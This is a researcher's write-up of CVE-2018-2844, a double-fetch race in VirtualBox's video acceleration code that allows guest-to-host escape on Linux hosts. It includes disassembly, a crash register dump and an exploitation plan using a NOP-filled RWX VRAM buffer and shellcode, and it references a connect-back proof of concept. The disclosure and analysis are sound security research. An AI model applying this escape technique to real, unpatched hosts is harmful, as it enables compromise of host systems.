From Compiler Optimization to Code Execution – VirtualBox VM Escape – CVE-2018-2844

Oracle fixed some of the issues I reported in VirtualBox during the Oracle Critical Patch Update - April 2018. CVE-2018-2844 was an interesting double fetch vulnerability in VirtualBox Video Acceleration (VBVA) feature affecting Linux hosts. VBVA feature works on top of VirtualBox Host-Guest Shared Memory Interface (HGSMI), a shared memory implemented using Video RAM buffer. The VRAM buffer is at physical address 0xE0000000
sudo lspci -vvv

00:02.0 VGA compatible controller: InnoTek Systemberatung GmbH VirtualBox Graphics Adapter (prog-if 00 [VGA controller])
Interrupt: pin A routed to IRQ 10
Region 0: Memory at e0000000 (32-bit, prefetchable) [size=16M]
Expansion ROM at [disabled]
Kernel modules: vboxvideo
The guest sets up command buffer using HGSMI as below and writes the offset in VRAM to IO port VGA_PORT_HGSMI_GUEST (0x3d0) to notify the host.
uint8_t data[header.u32BufferSize];
The bug specifically occurs in code handling Video DMA (VDMA) commands passed from Guest to Host. The VDMA command handling function vboxVDMACmdExec() dispatches to specific functions based on VDMA command types. This is implemented as switch case statements.
static int
vboxVDMACmdExec(PVBOXVDMAHOST pVdma, const uint8_t *pvBuffer, uint32_t cbBuffer)
/* pvBuffer is shared memory in VRAM */

switch (pCmd->enmType) {
default: {
The compiler optimizes the switch cases to jump tables. This is what it looks like after optimization:
; first fetch happens for cmp
.text:00000000000B957A cmp dword ptr [r12], 0Ah ; switch 11 cases
.text:00000000000B957F ja VBOXVDMACMD_TYPE_DEFAULT ; jumptable 00000000000B9597 default case

; second fetch again for pCmd->enmType from shared memory
.text:00000000000B9585 mov eax, [r12]
.text:00000000000B9589 lea rbx, vboxVDMACmdExec_JMPS
.text:00000000000B9590 movsxd rax, dword ptr [rbx+rax*4]
.text:00000000000B9594 add rax, rbx
.text:00000000000B9597 jmp rax ; switch jump
.rodata:0000000000185538 vboxVDMACmdExec_JMPS dd offset VBOXVDMACMD_TYPE_DEFAULT - 185538h
.rodata:0000000000185538 ; DATA XREF: vboxVDMACommand+1D9o
.rodata:0000000000185538 dd offset VBOXVDMACMD_TYPE_DMA_PRESENT_BLT - 185538h ; jump table for switch statement
.rodata:0000000000185538 dd offset VBOXVDMACMD_TYPE_DMA_BPB_TRANSFER - 185538h
.rodata:0000000000185538 dd offset VBOXVDMACMD_TYPE_DEFAULT - 185538h
.rodata:0000000000185538 dd offset VBOXVDMACMD_TYPE_DEFAULT - 185538h
.rodata:0000000000185538 dd offset VBOXVDMACMD_TYPE_DEFAULT - 185538h
.rodata:0000000000185538 dd offset VBOXVDMACMD_TYPE_DEFAULT - 185538h
.rodata:0000000000185538 dd offset VBOXVDMACMD_TYPE_DMA_NOP - 185538h
.rodata:0000000000185538 dd offset VBOXVDMACMD_TYPE_DMA_NOP - 185538h
.rodata:0000000000185538 dd offset VBOXVDMACMD_TYPE_DEFAULT - 185538h
.rodata:0000000000185538 dd offset VBOXVDMACMD_TYPE_DMA_NOP - 185538h
.rodata:0000000000185564 align 20h
The issue is quite clear, its a TOCTOU bug. Since the variable is not marked volatile, GCC optimizations resulted in double fetch from shared VRAM memory. I didn't see such optimization in VirtualBox for Windows and OSX. Only Linux hosts are affected.

Note that this kind of issue is not new. We have prior research Xenpwn - Breaking Paravirtualized Devices by Felix Wilhelm on similar issue found in Xen


Though the race window is really small, it can be reliably won on guests having more than one vCPU.
 RAX  0xdeadbeef
RBX 0x7fff8abf2538 ◂— rol byte ptr [rdx - 0xd], 1
RCX 0x7fff9c508ac0 —▸ 0x7ffff7e30000 ◂— 0x5
RDX 0xe7b
RDI 0xeeb
RSI 0x7fffdc022000 ◂— xor byte ptr [rax], al /* 0xffe40030; '0' */
R8 0x7fff89d20000 ◂— jmp 0x7fff89d20010 /* 0xb020000000eeb */
R9 0x7fff8ab06040 ◂— push rbp
R10 0x7fff9c50ad48 ◂— 0x1
R11 0x7fff9c508d48 ◂— 0x0
R12 0x7fff89d20078 ◂— 0xa /* '\n' */
R13 0xf3b
R14 0x7fff9c50d0e0 —▸ 0x7fff9c508ac0 —▸ 0x7ffff7e30000 ◂— 0x5
R15 0x7fff89d20030 ◂— 0xffffffdc0f3b0eeb
RBP 0x7fffba44dc40 —▸ 0x7fffba44dca0 —▸ 0x7fffba44dce0 —▸ 0x7fffba44dd00 —▸ 0x7fffba44dd50 ◂— ...
RSP 0x7fffba44db80 —▸ 0x7fffba44dbb0 —▸ 0x7fff9c508ac0 —▸ 0x7ffff7e30000 ◂— 0x5
RIP 0x7fff8ab26590 ◂— movsxd rax, dword ptr [rbx + rax*4]

► 0x7fff8ab26590 movsxd rax, dword ptr [rbx + rax*4]
0x7fff8ab26594 add rax, rbx
0x7fff8ab26597 jmp rax
RAX is controlled by guest. R8, R12 and R15 points to offsets within HGSMI buffer during the crash. The jump table uses relative addressing, hence once cannot directly call into a pointer. First plan was to find a feature, which allows to write a controlled value in from guest and further use it as fake jump table. However, I failed to find one.

Next option is to directly jump to the VRAM buffer mapped with RWX permissions using whatever value available for fake jump table.
    // VRAM buffer
0x7fff88d21000 0x7fff89d21000 rwxp 1000000 0

0x7fff8aa6d000 0x7fff8adff000 r-xp 392000 0 /usr/lib/virtualbox/
0x7fff8adff000 0x7fff8afff000 ---p 200000 392000 /usr/lib/virtualbox/
0x7fff8afff000 0x7fff8b010000 r--p 11000 392000 /usr/lib/virtualbox/
0x7fff8b010000 0x7fff8b018000 rw-p 8000 3a3000 /usr/lib/virtualbox/
Find a value in (assume as some fake jump table), which during relative address calculation will point into the 16MB shared VRAM buffer. For the proof-of-concept exploit fill the entire VRAM with NOP's and place the shellcode at the final pages of the mapping. No ASLR bypass is needed since the jump is relative.

In the guest, add vboxvideo to /etc/modprobe.d/blacklist.conf. vboxvideo.ko driver has a custom allocator to manage VRAM memory and HGSMI guest side implementations. Blacklisting vboxvideo reduces activity on VRAM and keeps the payload intact. The exploit was tested with Ubuntu Server 16.04.3 64-bit as guest and Ubuntu Desktop 16.04.4 64-bit as host running VirtualBox 5.2.6.r120293.

The proof-of-concept exploit code with process continuation and connect back over network can be found at virtualbox-cve-2018-2844